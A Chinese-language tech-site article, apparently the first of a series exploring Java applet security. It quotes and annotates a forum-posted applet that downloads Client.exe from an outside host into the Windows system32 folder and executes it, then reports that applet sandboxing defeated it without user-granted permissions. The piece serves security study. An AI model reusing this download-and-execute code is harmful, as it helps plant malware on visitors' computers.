网络安全 频道

Java applet 安全性探究

  【IT168专稿】引言

  因为一个0day,让作者对java applet心血来潮,随着不断的失败,发现了一个又一个安全特性。本文提醒大家,除了activeX,还有这么一种东西,一旦出现了安全隐患,也会帮大家做些什么。如果你要找“0DAY”,请掠过;如果你要找“如何使用APPLET下载木马”,请看下集;如果你喜欢研究“applet可能存在的安全隐患”,请从这里开始。

  第一部分 一个“0day”狂想

  最近常听见有朋友说“只有跨站执行脚本才是王道”,但是我想,每一门艺术(技术),都有自己的独到的美(特性),就像后门除了使用“特洛伊”,还有可以用很多微小的途径,拼合起来,就可能达到比它更加完美的效果。

  论坛上某帖发出一篇通杀FF和IE的0DAY代码:

Import java.applet.Applet;            //加载applet包
。。。。。。。。。。。。。。。。。。。。。。。省略

public class Client extends Applet           //继承applet
{
    
public void start()                   //重写applet的主要方法
    {
            。。。。。。。。。。。。。。。。。。。。。。。省略
            System.out.println(“aaa”);    
//如果进入了这个方法,会打印“aaa”
            URL url = new URL("http://www.blackhathackerz.com/applet/Client.exe");
            
//楼上代码,定义了要从这个地址中拿文件。
bufferedoutputstream=newBufferedOutputStream(new FileOutputStream("C:\\windows\\system32              //楼上把拿下来的文件放到system32下
\\Client.exe"));
            URLConnection urlconnection = url.openConnection();     //打开SOCKET链接
            inputstream = urlconnection.getInputStream();            //取得文件的流
            byte abyte0[] = new byte[1024];
            
int i;
            
for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
                bufferedoutputstream.write(abyte0,
0, i);             //把文件写入
。。。。。。。。。。。。。。。。。。。。。。。省略
            Runtime runtime
= Runtime.getRuntime();
            
try
            {
                Process process
= runtime.exec("C:\\windows\\system32\\Client.exe");
              
//楼上要去执行文件
            。。。。。。。。。。。。。。。。。。。。。。。省略

  说实话,刚拿到代码时很兴奋,看起来只要用户只要浏览applet的页面,就可以自动执行JAVA(applet),在用户的机器上乱写乱画。这是多么美妙的事情啊,只要用户装了jre,就完蛋了。于是跟贴发表评论,解读这段代码的含义,甚至还发表了改进的看法。但是等朋友让我写出改进的代码,才在不断的实践中发现自己的回帖完全是纸上谈兵。

  Java applet可以用来点缀html的页面,让它更加花哨,更加吸引MM的目光。某种程度上,它和微软的activeX是一个级别的,都是用来扩展HTML效果。如果搜索“java applet”,可能会搜索到《java applet向activeX下跪》这篇文章,applet曾经风光一时,后来被微软的activeX垄断。但是毕竟功能还在,也就是说,值得探究的安全性因素还在。虽然必须要安装JRE环境才可以执行,但是毕竟可以“祸害一部分人”,随着sun的“进一步战略”,也许这个家伙有一天还会冒出来。

  在网上找了applet安全的文章,也就那么可怜兮兮的几篇。大概内容都是先列举了他的写文件代码,然后告诉读者这些危险动作默认是不可做的,只有用户同意了安全证书,才会在用户的policy里加入“读,写,执行”等权限。但是你如果真的在问用户“嘿!哥们儿,咱有个东西,你先点同意,同意我在哥们儿脸上写点东西,同意我看看哥们儿暗恋的MM,同意我控制哥们儿几天,同意。。。。”。作者没那么深的钓鱼功力让用户签订不平等条约,所以,本文就不探讨当用户签订安全证书后发生的安全隐患了,因为那真的等于让用户使用最高权限执行一段不可预知的代码。

  要研究applet的安全,首先要打开浏览器(IE,FF),工具--?SUN java控制台,右下角会出现冒火的咖啡,右键选择“打开控制面板”,打开“高级”选项卡,选中“调试”里的勾。

0
相关文章